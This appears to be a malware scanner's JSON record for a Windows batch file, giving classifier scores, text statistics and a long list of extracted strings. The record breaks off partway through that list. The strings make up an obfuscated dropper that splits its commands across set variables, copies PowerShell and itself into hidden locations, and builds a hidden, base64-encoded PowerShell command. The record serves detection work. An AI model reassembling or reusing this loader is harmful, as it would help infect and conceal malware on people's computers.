{
  "ml": {
    "v": "5",
    "fs": [
      {
        "id": 0,
        "prob": 0.9996100068092346,
        "class": 2,
        "threshold": 0.9922832250595093
      }
    ],
    "prob": 0.99961,
    "class": 2,
    "level": 3,
    "models": [
      {
        "m": "az",
        "prob": 0.99961,
        "class": 2
      },
      {
        "m": "az/scripts",
        "prob": 1.0,
        "class": 2
      },
      {
        "m": "az/batch",
        "prob": 1.0,
        "class": 2
      }
    ],
    "version": "v17.17",
    "threshold": 0.9922832,
    "analyzed_at": "2026-05-31T04:46:45Z"
  },
  "path": "5ea4e5a7bf4eea3fc6bc09fddcda1844dc29481429fe05e5d4f65776f51a5a8e.bat",
  "raw": {
    "v": "5",
    "fs": [
      {
        "f": "O(As)H₂(PoF)MdTh",
        "x": 183,
        "ff": {
          "m": {
            "file": {
              "size": 156278.0,
              "entropy": 6.11,
              "size_bytes": 156278.0
            },
            "text": {
              "digit_ratio": 0.15,
              "space_count": 1627.0,
              "total_lines": 508.0,
              "char_entropy": 6.11,
              "unique_chars": 81.0,
              "lines_over_200": 235.0,
              "lines_over_500": 230.0,
              "avg_line_length": 305.63,
              "high_byte_ratio": 0.0,
              "lines_over_1000": 1.0,
              "max_line_length": 5239.0,
              "non_ascii_ratio": 0.0,
              "empty_line_ratio": 0.0,
              "last_line_length": 71.0,
              "long_token_count": 233.0,
              "whitespace_ratio": 0.02,
              "most_common_ratio": 0.02,
              "line_length_stddev": 347.79,
              "most_common_char_is_null": 0.0,
              "max_inline_whitespace_run": 1.0,
              "most_common_char_codepoint": 116.0
            }
          },
          "s": [
            [
              0,
              "u8",
              "@echo off"
            ],
            [
              11,
              "u8",
              "set \"Xdmxpsrnqf=IN\" \u0026 set \"Nnodokzhxe=ED\" \u0026 set \"Wikfhrexrm= e\""
            ],
            [
              76,
              "u8",
              "set \"Jebmgbbpmw=IS\" \u0026 set \"Uaegjwrmls=MI\""
            ],
            [
              119,
              "u8",
              "set \"Bttirsaxou=if\" \u0026 set \"Paduulnegz=IZ\" \u0026 set \"Rdksejktbh=IM\" \u0026 set \"Tuddaalrkb=/m\""
            ],
            [
              206,
              "u8",
              "set \"Kaetnntdoh=ZE\" \u0026 set \"Xyrrtnhoqh=EF\" \u0026 set \"Xfxcdhudfi=xi\""
            ],
            [
              271,
              "u8",
              "set \"Boluciegeg=\"\"\""
            ],
            [
              292,
              "u8",
              "set \"Rvwznkkoci=MI\" \u0026 set \"Yoobzluzcx=t\" \u0026 set \"Rgwnyabxpb=st\" \u0026 set \"Cbcemzzaan=\u0026\u0026\" \u0026 set \"Gyatjxhhtm=t \""
            ],
            [
              400,
              "u8",
              "set \"Olfhjqqqqq=se\" \u0026 set \"Naqmydhpuv=NI\""
            ],
            [
              443,
              "u8",
              "set \"Emhrmsrify=\u0026 \""
            ],
            [
              464,
              "u8",
              "set \"Tkqmubbcnw=IN\" \u0026 set \"Ptyptnajdo=D \" \u0026 set \"Gqlyfsxkva= D\" \u0026 set \"Obudhwzscd= \u0026\" \u0026 set \"Nrwbrwazdd=S_\" \u0026 set \"Pwmmkseivr=ar"
            ],
            [
              595,
              "u8",
              "set \"Nxdpwevzfb=in\""
            ],
            [
              616,
              "u8",
              "set \"Xmazxsbwdj= \"%~dpnx0\" %* \""
            ],
            [
              649,
              "u8",
              "set \"Blgcwgaybp= n\""
            ],
            [
              670,
              "u8",
              "set \"Jpcbszhbxh= I\""
            ],
            [
              691,
              "u8",
              "set \"Joygeswqsu==1\""
            ],
            [
              712,
              "u8",
              "set \"Tylcngrdwn=ED\" \u0026 set \"Ucdaohauhu= /\" \u0026 set \"Oimortfcea=C \""
            ],
            [
              777,
              "u8",
              "set \"Sxckynvwzk=t \""
            ],
            [
              798,
              "u8",
              "set \"Whjxdzuwkw=_M\" \u0026 set \"Xzsrvufnik=ot\""
            ],
            [
              841,
              "u8",
              "%Bttirsaxou%%Blgcwgaybp%%Xzsrvufnik%%Gqlyfsxkva%%Xyrrtnhoqh%%Tkqmubbcnw%%Nnodokzhxe%%Jpcbszhbxh%%Nrwbrwazdd%%Rvwznkkoci%%Naqmydh"
            ],
            [
              1301,
              "u8",
              "set \"Nwsdoabxyg=.0\\p\" \u0026 set \"Dtnutgllaf=ysWO\""
            ],
            [
              1348,
              "u8",
              "set \"Bdbogrampc=e\" \u0026 set \"Gdsqprksgw=owsP\""
            ],
            [
              1392,
              "u8",
              "set \"Lymzdkhzaz=indo\" \u0026 set \"Wxuyvtdobg=copy\" \u0026 set \"Lhhcoijett=ws\\S\" \u0026 set \"Qkxvxwfnwg=shel\""
            ],
            [
              1487,
              "u8",
              "set \"Tqeedwsbsw=l.ex\" \u0026 set \"Zcqlyhzmtd=l\\v1\""
            ],
            [
              1534,
              "u8",
              "set \"Wcydxdzsmk= /y \""
            ],
            [
              1557,
              "u8",
              "set \"Ywyvotdyhq=ower\" \u0026 set \"Eibevwzltm=ower\""
            ],
            [
              1604,
              "u8",
              "set \"Qpljyqilks=C:\\W\" \u0026 set \"Tkegxdbaul=Shel\" \u0026 set \"Wasnzihjup=Wind\" \u0026 set \"Lsdjuxpyzm=W64\\\""
            ],
            [
              1699,
              "u8",
              "%Wxuyvtdobg%%Wcydxdzsmk%%Qpljyqilks%%Lymzdkhzaz%%Lhhcoijett%%Dtnutgllaf%%Lsdjuxpyzm%%Wasnzihjup%%Gdsqprksgw%%Ywyvotdyhq%%Tkegxdb"
            ],
            [
              1912,
              "u8",
              "set \"Ocibtndlqy=py\" \u0026 set \"Fxxraxvvac=co\""
            ],
            [
              1955,
              "u8",
              "set \"Kuwwztphzw= /\""
            ],
            [
              1976,
              "u8",
              "set \"Bpguhpggaa=y %0\""
            ],
            [
              1999,
              "u8",
              "%Fxxraxvvac%%Ocibtndlqy%%Kuwwztphzw%%Bpguhpggaa% \"%APPDATA%\\%~n0%~x0\""
            ],
            [
              2070,
              "u8",
              "set \"Pfquryjwta=ro\""
            ],
            [
              2091,
              "u8",
              "set \"Osimhetikg=d \""
            ],
            [
              2112,
              "u8",
              "set \"Agndemkhnq=do\" \u0026 set \"Gpfxqgpish=rs\" \u0026 set \"Ixdznjdsup=nO\" \u0026 set \"Ufrerrbsvp=in\""
            ],
            [
              2199,
              "u8",
              "set \"Lqpyebcowz=io\" \u0026 set \"Ufxpmvstfs=Ru\" \u0026 set \"Kekvdyhcbz=ws\""
            ],
            [
              2264,
              "u8",
              "set \"Kyrvzygwgy=nt\" \u0026 set \"Ssihwnkbar=re\" \u0026 set \"Ehwkpqhaba=ad\" \u0026 set \"Hinvdayvot=g \" \u0026 set \"Axvpddgsvw=So\" \u0026 set \"Lvlzdqsoah=n\\"
            ],
            [
              2395,
              "u8",
              "set \"Hqliwpchsw=UR\""
            ],
            [
              2416,
              "u8",
              "set \"Wakidzhuvv=RE\" \u0026 set \"Ldvihanelx=ft\" \u0026 set \"Jjmrypvvbs=re\""
            ],
            [
              2481,
              "u8",
              "set \"Tttrmgddrb=_U\""
            ],
            [
              2502,
              "u8",
              "set \"Nxiivnnbca=wa\" \u0026 set \"Fxuhamsprf=re\""
            ],
            [
              2545,
              "u8",
              "set \"Xplnrlvxrf=EY\" \u0026 set \"Tfkpwconup=ic\" \u0026 set \"Obhkmftzli=e\" \u0026 set \"Atqyrqvpyl=Ve\""
            ],
            [
              2631,
              "u8",
              "set \"Xofossuhqt=HK\""
            ],
            [
              2652,
              "u8",
              "set \"Pcaqwgmqrp=\\C\""
            ],
            [
              2673,
              "u8",
              "set \"Ccertgciar=so\" \u0026 set \"Gjzadpzaoy=_C\""
            ],
            [
              2716,
              "u8",
              "set \"Zujvxrrrxd=ur\""
            ],
            [
              2737,
              "u8",
              "set \"Jwqfznpfld=NT\" \u0026 set \"Iffsplagij=R\\\" \u0026 set \"Vedumvrvwt=ft\" \u0026 set \"Zgvzhebkfu=\\M\" \u0026 set \"Nhsyaleguz=nc\""
            ],
            [
              2846,
              "u8",
              "set \"Xevbptqaij=\\W\""
            ],
            [
              2867,
              "u8",
              "set \"Joeuigzrwd=SE\""
            ],
            [
              2888,
              "u8",
              "%Ssihwnkbar%%Hinvdayvot%%Ehwkpqhaba%%Osimhetikg%%Xofossuhqt%%Xplnrlvxrf%%Gjzadpzaoy%%Hqliwpchsw%%Wakidzhuvv%%Jwqfznpfld%%Tttrmgd"
            ],
            [
              3381,
              "u8",
              "set \"Hesenljicu= +\" \u0026 set \"Pmkgbzmsbb=+h\" \u0026 set \"Nninwptvth=s \""
            ],
            [
              3446,
              "u8",
              "set \"Xspaudmquu=at\" \u0026 set \"Qxfwysaluf=ib\""
            ],
            [
              3489,
              "u8",
              "set \"Cbvpmrafhj= %0.exe\" \u0026 set \"Vtkuuqzpvs=tr\""
            ],
            [
              3537,
              "u8",
              "%Xspaudmquu%%Vtkuuqzpvs%%Qxfwysaluf%%Hesenljicu%%Nninwptvth%%Pmkgbzmsbb%%Cbvpmrafhj%"
            ],
            [
              3628,
              "u8",
              "set \"Vtmdnyrgbs=cd %~dp0\""
            ],
            [
              3655,
              "u8",
              "%Vtmdnyrgbs%"
            ],
            [
              3669,
              "u8",
              "set \"Ogxrxnkxfv=B5AHAA\" \u0026 set \"Rwlmraafmv=-wIn 1\""
            ],
            [
              3720,
              "u8",
              "set \"Fdmfqzjqnu=OwAgAC\" \u0026 set \"Pytgsjuauy=KQA7AC\" \u0026 set \"Wqrvsjmgwd=B1AHIA\" \u0026 set \"Nafbxdjrjf=AFIAZQ\" \u0026 set \"Xpdqtrcopn=sAdgB0\" "
            ],
            [
              3927,
              "u8",
              "set \"Goxxsidqrj=AGUALg\""
            ],
            [
              3952,
              "u8",
              "set \"Okebjzalmh=ByAC4A\" \u0026 set \"Rzfmaekomh=BzAHMA\""
            ],
            [
              4003,
              "u8",
              "set \"Ythfzoutmf=ByAHkA\" \u0026 set \"Tqygpjdvmn=AGUAbQ\""
            ],
            [
              4054,
              "u8",
              "set \"Fqxcdjyops=wAeQBd\" \u0026 set \"Itotgmypcf=ACQAQg\""
            ],
            [
              4105,
              "u8",
              "set \"Zlptznbsei=BsAHIA\" \u0026 set \"Hdcjrykqqu=0AIAAk\""
            ],
            [
              4156,
              "u8",
              "set \"Csdlttnxya=kAbgB0\" \u0026 set \"Hgvunhdild=BvACgA\" \u0026 set \"Tmkupfwbun=BvAHoA\""
            ],
            [
              4233,
              "u8",
              "set \"Hzmermdiyw=AAaQBu\" \u0026 set \"Klmtlsyzwj=LgBDAH\" \u0026 set \"Fckfalfarj=AATwB1\""
            ],
            [
              4310,
              "u8",
              "set \"Hoqmafydvu=AHQAZQ\" \u0026 set \"Tgbicrhwlb=IAAkAG\""
            ],
            [
              4361,
              "u8",
              "set \"Wqqlvrigsr=cQAgAD\" \u0026 set \"Pffoksecte=BMAG8A\""
            ],
            [
              4412,
              "u8",
              "set \"Tbcyjpnexo=cQBmAG\""
            ],
            [
              4437,
              "u8",
              "set \"Gouvydfqry=BlACAA\" \u0026 set \"Ygseqontri=AALQBs\" \u0026 set \"Lyxcbwufyw=AkAE8A\""
            ],
            [
              4514,
              "u8",
              "set \"Pggarcvqca=awB2AH\""
            ],
            [
              4539,
              "u8",
              "set \"Eijxxtjtkx=BwAGsA\""
            ],
            [
              4564,
              "u8",
              "set \"Opvqqdutyd=cgBlAG\""
            ],
            [
              4589,
              "u8",
              "set \"Sagxisevrm=LgBJAE\" \u0026 set \"Mrjtgsjaex=UAcwBz\""
            ],
            [
              4640,
              "u8",
              "set \"Qgkjmmeitx=bgAuAE\" \u0026 set \"Gxlckzcuai=EALgBJ\""
            ],
            [
              4691,
              "u8",
              "set \"Yzznciwnoy=AHYAYw\" \u0026 set \"Wgkpunweyj=AGYAbA\" \u0026 set \"Awoymyjhhw=AE4AZQ\""
            ],
            [
              4768,
              "u8",
              "set \"Swxroybtmb=AG4Adg\""
            ],
            [
              4793,
              "u8",
              "set \"Mpwwsxrzbb=UAbQAu\" \u0026 set \"Jybszvnqkd=cwBlAC\" \u0026 set \"Qzcfdduhzj=EAbQBl\""
            ],
            [
              4870,
              "u8",
              "set \"Djjqllnumu=TwBiAH\""
            ],
            [
              4895,
              "u8",
              "set \"Efycrwahoh=agAgAD\""
            ],
            [
              4920,
              "u8",
              "set \"Mskexetzir=cgAuAE\""
            ],
            [
              4945,
              "u8",
              "set \"Qphxulyxif=ACkAKQ\" \u0026 set \"Atauufgpuh=ApACAA\" \u0026 set \"Ndhrublkxs=bQBiAG\""
            ],
            [
              5022,
              "u8",
              "set \"Nruhmepcwz=cwB0AG\" \u0026 set \"Mycfbptsax=bwB1AH\""
            ],
            [
              5073,
              "u8",
              "set \"Zxibdhieqn= -enC \""
            ],
            [
              5098,
              "u8",
              "set \"Hotvlcxrfb=BsAGkA\" \u0026 set \"Iwmrxqjxlx=ADoAOg\" \u0026 set \"Zjsjnmhyhl=ACgAWw\""
            ],
            [
              5175,
              "u8",
              "set \"Sykkqrsaka=BoADsA\" \u0026 set \"Morsxjusim=WwBTAH\" \u0026 set \"Kjmvetsyez=QAVQBr\""
            ],
            [
              5252,
              "u8",
              "set \"Luolwdmthy=ZQBOAG\""
            ],
            [
              5277,
              "u8",
              "set \"Immkzeqnvm=JABXAH\""
            ],
            [
              5302,
              "u8",
              "set \"Oikrwwzvlh=MAdgBp\" \u0026 set \"Hiosbefopg=AHQALQ\" \u0026 set \"Rynifqbygc=ACAAZg\" \u0026 set \"Nvadzljysk=BuAGcA\""
            ],
            [
              5405,
              "u8",
              "set \"Etzeewtnfj=dgAuAE\""
            ],
            [
              5430,
              "u8",
              "set \"Ngvtfzgxpz=QAUwB0\" \u0026 set \"Nrbvwlyjri=AHQALg\" \u0026 set \"Gpzwjqqpud=gAJABV\" \u0026 set \"Pllpfnldsl=AGoAaQ\""
            ],
            [
              5533,
              "u8",
              "set \"Oeawncozsx=AArgAq\" \u0026 set \"Gvxybqjlcv=cwBzAC\""
            ],
            [
              5584,
              "u8",
              "set \"Fsjvsiqsbq=AHYAbg\" \u0026 set \"Quayyjdelt=ACgAJA\" \u0026 set \"Noksemrbhx=AHQAcg\""
            ],
            [
              5661,
              "u8",
              "set \"Mdmccbwqzb=IAaABt\""
            ],
            [
              5686,
              "u8",
              "set \"Kfhrbwrwkp=B5AHMA\" \u0026 set \"Pnxgzpirrc=bgBuAG\" \u0026 set \"Kfzyxehqqu=QATgBv\" \u0026 set \"Cjeizbbahy=QAcgBl\""
            ],
            [
              5789,
              "u8",
              "set \"Qunvnybpor=BJAE8A\""
            ],
            [
              5814,
              "u8",
              "set \"Bneswvkbqi=dgBjAC\""
            ],
            [
              5839,
              "u8",
              "set \"Ucwovdjcsw=8AdQB0\" \u0026 set \"Epytzbldsd=BvAHMA\""
            ],
            [
              5890,
              "u8",
              "set \"Eupdzwmrsi=kAcwB0\""
            ],
            [
              5915,
              "u8",
              "set \"Yixfgachyn=bwBTAH\" \u0026 set \"Anrrsgzznb=AHMAdA\" \u0026 set \"Rxutejlwed=IAB8AC\" \u0026 set \"Apoqufwbrn=AHQAIA\""
            ],
            [
              6018,
              "u8",
              "set \"Alttlkgzwf=IAaQBu\" \u0026 set \"Qasecmexio=bQAoAC\" \u0026 set \"Zmuhlwvzsf=EAbgBj\" \u0026 set \"Hbwlgzgsdf=BwAHIA\""
            ],
            [
              6121,
              "u8",
              "set \"Akdwktthtw=AGUAcg\" \u0026 set \"Mktlhnowdm=AGIAeQ\" \u0026 set \"Oiftienmcv=AuAEYA\""
            ],
            [
              6198,
              "u8",
              "set \"Zbhczgtkad=QAcgAu\""
            ],
            [
              6223,
              "u8",
              "set \"Jcinfgbjto=AGcAbw\" \u0026 set \"Rcnjxjaomw=UAbQAu\""
            ],
            [
              6274,
              "u8",
              "set \"Ogzymvxgiq=IAYQB5\""
            ],
            [
              6299,
              "u8",
              "set \"Foykuziqnb=AGcAdA\""
            ],
            [
              6324,
              "u8",
              "set \"Xkrdktbtpg=AHYAbg\""
            ],
            [
              6349,
              "u8",
              "set \"Ijvknsuiem=IAeQBT\""
            ],
            [
              6374,
              "u8",
              "set \"Kmmhzdajbv=aQBvAG\""
            ],
            [
              6399,
              "u8",
              "set \"Rzudashhws=AG4AdQ\" \u0026 set \"Gweksmlacn=AFMAeQ\""
            ],
            [
              6450,
              "u8",
              "set \"Zcytljuubm=UAcgA7\" \u0026 set \"Ggzckgpaea=dABlAG\" \u0026 set \"Ftseyxaodb=gAKQA7\" \u0026 set \"Nmoojyfqjg=BvAGsA\" \u0026 set \"Uynuvnsafo=AGUAKQ\" "
            ],
            [
              6657,
              "u8",
              "set \"Ahzpnbzpwy=wAZQBu\" \u0026 set \"Crtqkaidwy=oAOgBE\""
            ],
            [
              6708,
              "u8",
              "set \"Vxgtnzzlia=dgBsAH\""
            ],
            [
              6733,
              "u8",
              "set \"Hqyjzeyznb=4AYQBt\""
            ],
            [
              6758,
              "u8",
              "set \"Cpipnikgma=YAawAp\""
            ],
            [
              6783,
              "u8",
              "set \"Uoxvqergge=BjAHcA\""
            ],
            [
              6808,
              "u8",
              "set \"Ztwamytdoo=0AIAAk\" \u0026 set \"Erbmxbhmek=QARgBj\""
            ],
            [
              6859,
              "u8",
              "set \"Niwvoiusfw=4AbwBi\" \u0026 set \"Kforixpjli=IAaABt\" \u0026 set \"Opzprjhjzp=AGkAaw\" \u0026 set \"Nblrkjicdo=aQBhAG\" \u0026 set \"Wpjrgsiold=A7AFsA\""
            ],
            [
              6988,
              "u8",
              "set \"Smzwxawnpt=ZQAoAC\""
            ],
            [
              7013,
              "u8",
              "set \"Ekhpewfhts=YwB0AC\" \u0026 set \"Bjuireoghs=BpAHQA\""
            ],
            [
              7064,
              "u8",
              "set \"Bahmuurakl=YQBtAH\" \u0026 set \"Jxbtozneuq=AgAHsA\""
            ],
            [
              7115,
              "u8",
              "set \"Yahrqsllty=AoACkA\" \u0026 set \"Gtvqkdbndj=AFUAaw\" \u0026 set \"Qemdcrprfy=BzAHQA\" \u0026 set \"Kzbwftiong=ZQBdAD\" \u0026 set \"Tozxhwlqgo=AGsAbA\""
            ],
            [
              7244,
              "u8",
              "set \"Wjgpzsbntp=YQBkAC\" \u0026 set \"Idbyhediyg=ZQAoAC\" \u0026 set \"Bqvvsmxlis=MAdgBp\""
            ],
            [
              7321,
              "u8",
              "set \"Qmjipczvns=AGgAYQ\""
            ],
            [
              7346,
              "u8",
              "set \"Mszdisyqen=AHIAZQ\" \u0026 set \"Wtejmuwhuq=AgAC0A\" \u0026 set \"Ircwetxxmx=BzAHMA\""
            ],
            [
              7423,
              "u8",
              "set \"Fplrwctbse=wAIABP\""
            ],
            [
              7448,
              "u8",
              "set \"Ktepnswyfo=8ALgBN\""
            ],
            [
              7473,
              "u8",
              "set \"Njecpltiay=B2AHQA\" \u0026 set \"Tvqvmouaug=dQBsAG\""
            ],
            [
              7524,
              "u8",
              "set \"Mfhftxlztg=4AdABQ\" \u0026 set \"Afuzlaldzz=BlAGMA\" \u0026 set \"Oajrmrcgin=AGkAeg\""
            ],
            [
              7601,
              "u8",
              "set \"Hcnjkdqizx=cwB0AG\" \u0026 set \"Otdjnmkunf=AE0AYQ\" \u0026 set \"Xstottglzq=sAJABX\" \u0026 set \"Fvfztjwvmz=awB2AC\""
            ],
            [
              7704,
              "u8",
              "set \"Dwtqvhvyzk=AkAFUA\" \u0026 set \"Nzvdumrrmk=QQByAH\""
            ],
            [
              7755,
              "u8",
              "set \"Xgsjclvgop=ACkAOw\""
            ],
            [
              7780,
              "u8",
              "set \"Oamarhtteo=AHIAIA\" \u0026 set \"Eqsctcvmnz=IAZQBh\" \u0026 set \"Pkmaqtylur=AHIAdg\""
            ],
            [
              7857,
              "u8",
              "set \"Wxeaujqilk=0AcgB2\" \u0026 set \"Zqmjafjhyj=KQA7AC\""
            ],
            [
              7908,
              "u8",
              "set \"Qkasecoufd=ACgAKQ\" \u0026 set \"Ofxufozokk=QAVwBq\" \u0026 set \"Lmyjoommgx=BpAG8A\" \u0026 set \"Shwqubqemi=cwAuAF\""
            ],
            [
              8011,
              "u8",
              "set \"Vqeetvgqjn=A7ACAA\""
            ],
            [
              8036,
              "u8",
              "set \"Iziagyyiaz=WwBdAF\""
            ],
            [
              8061,
              "u8",
              "set \"Hlhwfdaqqt=IAA9AC\" \u0026 set \"Krcnpvsrwv=AHIAaQ\" \u0026 set \"Uobuuawoew=JwAqAC\""
            ],
            [
              8138,
              "u8",
              "set \"Lwivkhshxp=ZQB2AG\" \u0026 set \"Myyvlojljo=AAPQAg\""
            ],
            [
              8189,
              "u8",
              "set \"Nglzpzzyvz=BrACkA\""
            ],
            [
              8214,
              "u8",
              "set \"Vnxrutudvt=ACgAJA\" \u0026 set \"Rrlrvmzymg=AGsAYQ\" \u0026 set \"Htsthbyoyj=cgBoAG\" \u0026 set \"Rqstxhwfcn=BlAGEA\""
            ],
            [
              8317,
              "u8",
              "set \"Cvrfokhsik=bQBvAH\""
            ],
            [
              8342,
              "u8",
              "set \"Gmknlshrcx=cAbgBv\" \u0026 set \"Tajwmhmxlu=AHkAVA\" \u0026 set \"Eevprnairh=B0AGUA\""
            ],
            [
              8419,
              "u8",
              "set \"Worbxarhfa=0AIAAk\" \u0026 set \"Xfesidxzut=YwB3AH\" \u0026 set \"Fjhlpkshxd=BTAHkA\""
            ],
            [
              8496,
              "u8",
              "set \"Bupvfpesnt=dABlAG\""
            ],
            [
              8521,
              "u8",
              "set \"Tetltrvcci=QAcAB1\""
            ],
            [
              8546,
              "u8",
              "set \"Favdonukdl=BqAGUA\""
            ],
            [
              8571,
              "u8",
              "set \"Koshyzwoym=MAaQBv\" \u0026 set \"Subolekcon=ADoAUg\" \u0026 set \"Egcweyiady=B3AC0A\""
            ],
            [
              8648,
              "u8",
              "set \"Dsceojbrpx=QgBmAG\" \u0026 set \"Rnpkgzpocq=bgBlAC\" \u0026 set \"Pwpuxakqxq=PQAgAF\" \u0026 set \"Sdywuuejvp=0ALgBU\""
            ],
            [
              8751,
              "u8",
              "set \"Lotugcamrj=BmAG8A\" \u0026 set \"Sfjjuzordr=ApADsA\""
            ],
            [
              8802,
              "u8",
              "set \"Evukwzpxre=ByAGgA\" \u0026 set \"Yrfezjekkv=UAcgBz\" \u0026 set \"Ppdxvwsdbp=cQBmAG\""
            ],
            [
              8879,
              "u8",
              "set \"Hirlnhsjcz=AtAE8A\" \u0026 set \"Naiulbyojs=AHIAdg\" \u0026 set \"Nasyaziudh=AuAEQA\" \u0026 set \"Lpfjwronjr=wAcABr\" \u0026 set \"Hymvwdvynf=bwBtAH\" "
            ],
            [
              9034,
              "u8",
              "set \"Fuhmlfsxzu=8AbgBu\" \u0026 set \"Nxethwzidb=XQA6AD\""
            ],
            [
              9085,
              "u8",
              "set \"Ryaaorvvgz=ACAAUw\" \u0026 set \"Zpegbjaapg=TwBiAG\""
            ],
            [
              9136,
              "u8",
              "set \"Sjhbbpxzyk=0AIABb\" \u0026 set \"Rytbxuifcv=UAXQA6\" \u0026 set \"Rbgzmmhhhy=AEMAbA\""
            ],
            [
              9213,
              "u8",
              "set \"Fokzimrnko=QAdQBs\" \u0026 set \"Hqaeaoxzsg=AGMAZQ\""
            ],
            [
              9264,
              "u8",
              "set \"Nsedacoxiw=IAAgAC\""
            ],
            [
              9289,
              "u8",
              "set \"Igwgwwihld=MAbwBw\" \u0026 set \"Ikpyjniidp=AG8AbQ\" \u0026 set \"Auvlsyiyzc=AgAD0A\" \u0026 set \"Vsvmokkfct=sAUwB5\""
            ],
            [
              9392,
              "u8",
              "set \"Xhqzshmcvq=B2AG4A\" \u0026 set \"Xeptiutqzf=aQBsAG\""
            ],
            [
              9443,
              "u8",
              "set \"Qsmyepahpd=wAIAAk\" \u0026 set \"Gtwpxussbm=AkAEYA\""
            ],
            [
              9494,
              "u8",
              "set \"Rxgqrqoufv=AHUAdA\" \u0026 set \"Rfrptathai=kAOwBb\" \u0026 set \"Gqulktggrm=BOAHUA\" \u0026 set \"Muyewgbula=LgBDAG\""
            ],
            [
              9597,
              "u8",
              "set \"Cvjnjsyzoo=QQByAH\" \u0026 set \"Cbimywscwy=UwB0AH\""
            ],
            [
              9648,
              "u8",
              "set \"Qnuchoatbv=UALgBT\""
            ],
            [
              9673,
              "u8",
              "set \"Bisgctrhoz=bQB1AH\""
            ],
            [
              9698,
              "u8",
              "set \"Mkkoqawwtg=ZQBhAG\" \u0026 set \"Vnjdhihgmu=oAZQBj\""
            ],
            [
              9749,
              "u8",
              "set \"Cpjwzmhioo=BpAG4A\""
            ],
            [
              9774,
              "u8",
              "set \"Mzjsfrsdmg=AHMAcw\""
            ],
            [
              9799,
              "u8",
              "set \"Bxvmncgjvf=gAbwB6\""
            ],
            [
              9824,
              "u8",
              "set \"Pgflbnjbyf=AFUAdg\" \u0026 set \"Dkrxsctwzs=IAdgBr\" \u0026 set \"Ksmguyflmc=AHAAUw\""
            ],
            [
              9901,
              "u8",
              "set \"Rmdwdhsjsw=B5AHoA\" \u0026 set \"Mfwnpatzvb=KAAnAK\" \u0026 set \"Cyuzwkocdm=BvAHAA\""
            ],
            [
              9978,
              "u8",
              "set \"Zgateuqirr=OgA6AE\""
            ],
            [
              10003,
              "u8",
              "set \"Iswxftuvve=4ALgBD\" \u0026 set \"Qqsduolzbc=AALAAg\""
            ],
            [
              10054,
              "u8",
              "set \"Onzfkjkfhj=MAaAAg\""
            ],
            [
              10079,
              "u8",
              "set \"Exgywoiyuh=ADsAIA\""
            ],
            [
              10104,
              "u8",
              "set \"Tnxrcpsjdy=awBhAH\" \u0026 set \"Oniqrykrqi=YgBqAG\""
            ],
            [
              10155,
              "u8",
              "set \"Sjjunjibrc=B1AGkA\" \u0026 set \"Qfwiybgspg=oARwBl\" \u0026 set \"Trpyfqvfsk=BUAG8A\" \u0026 set \"Cgmdkveevz=QAcgBp\" \u0026 set \"Prblksznvc=B0AF0A\""
            ],
            [
              10284,
              "u8",
              "set \"Airzyrfruu=AHoAcg\""
            ],
            [
              10309,
              "u8",
              "set \"Vmwambcafo=AAUwB5\""
            ],
            [
              10334,
              "u8",
              "set \"Kqclvmboyu=AHMAKA\" \u0026 set \"Abaspqlpje=ZQBhAG\""
            ],
            [
              10385,
              "u8",
              "set \"Jiodvqhtzt=LgBDAG\""
            ],
            [
              10410,
              "u8",
              "set \"Hhwcltraqh=AG4AdA\""
            ],
            [
              10435,
              "u8",
              "set \"Crdzqukjrp=BhAHMA\""
            ],
            [
              10460,
              "u8",
              "set \"Deygyneocu=kAegBq\" \u0026 set \"Keubqzaozo=AAcgBl\" \u0026 set \"Pvdvragjft=bQByAH\""
            ],
            [
              10537,
              "u8",
              "set \"Bsqnyzeljk=ACQAVQ\" \u0026 set \"Oiryvbmjvo=YALgBF\""
            ],
            [
              10588,
              "u8",
              "set \"Wsqhlcogfi=BuAG4A\" \u0026 set \"Wntfweipzf=UAdABw\""
            ],
            [
              10639,
              "u8",
              "set \"Ritznbksxe=AgACQA\""
            ],
            [
              10664,
              "u8",
              "set \"Hqnegwfitc=sAYQB5\""
            ],
            [
              10689,
              "u8",
              "set \"Utyzhcfabh=4AYQBt\" \u0026 set \"Xgxldwibfl=cAByAG\" \u0026 set \"Qsysxxzfxw=AkAFkA\" \u0026 set \"Dqmfabpvbn=AHQAQw\""
            ],
            [
              10792,
              "u8",
              "set \"Rtllxztkpk=BrAGgA\""
            ],
            [
              10817,
              "u8",
              "set \"Kqnqzaallz=AGUAeA\" \u0026 set \"Jyqxzedppr=BzAGUA\""
            ],
            [
              10868,
              "u8",
              "set \"Tgkktsrbmf=ACQAVQ\" \u0026 set \"Mgkarfbgcx=AkAFcA\""
            ],
            [
              10919,
              "u8",
              "set \"Rddvmfldnp=IABOAG\""
            ],
            [
              10944,
              "u8",
              "set \"Kslxkrljhs=BtAHUA\" \u0026 set \"Sfpnkkmwfn=ACcAKQ\" \u0026 set \"Fdasgjykbu=IAAkAE\" \u0026 set \"Zuwkrnhcgk=YgB0AG\""
            ],
            [
              11047,
              "u8",
              "set \"Yrxxeozlwb=4AJwAp\""
            ],
            [
              11072,
              "u8",
              "set \"Yucpfprrqa=AC4AQw\""
            ],
            [
              11097,
              "u8",
              "set \"Wllqwbfybq=8AbgB2\" \u0026 set \"Flpbnofcjo=bgBlAC\""
            ],
            [
              11148,
              "u8",
              "set \"Amhthcokrq=0AIABO\""
            ],
            [
              11173,
              "u8",
              "set \"Cdmsgujwtl=AGMAeA\" \u0026 set \"Qglftktihz=AtAE4A\" \u0026 set \"Lixwbjgtmv=eQBTAH\""
            ],
            [
              11250,
              "u8",
              "set \"Yceauwkohf=cQAuAE\" \u0026 set \"Nvnyxookbe=agBlAG\" \u0026 set \"Whtpamgmtu=ACAAWw\""
            ],
            [
              11327,
              "u8",
              "set \"Jorpsstkiy=ewAgAG\" \u0026 set \"Fyifolbgvd=AkAFUA\" \u0026 set \"Tavhjmzbtu=B0ACAA\""
            ],
            [
              11404,
              "u8",
              "set \"Jjusntnqag=QAawB2\" \u0026 set \"Rvtinoruzx=aQBuAG\""
            ],
            [
              11455,
              "u8",
              "set \"Srsghtndtg=AAcgBv\" \u0026 set \"Ypgmggsnmd=AGIAZw\" \u0026 set \"Weicbdzuej=QAbABw\""
            ],
            [
              11532,
              "u8",
              "set \"Odfydkawqp=AHUAdA\" \u0026 set \"Hxomzxmdtw=bABkAG\" \u0026 set \"Kzncnrypln=AGUAdw\" \u0026 set \"Zrcrdfjopo=JABCAG\""
            ],
            [
              11635,
              "u8",
              "set \"Myicbmfxow=AEkATw\""
            ],
            [
              11660,
              "u8",
              "set \"Kpnrdjyvdf=BTAHkA\" \u0026 set \"Mdmbsxuzjx=YAbwBu\""
            ],
            [
              11711,
              "u8",
              "set \"Izewznmggp=BhAHkA\""
            ],
            [
              11736,
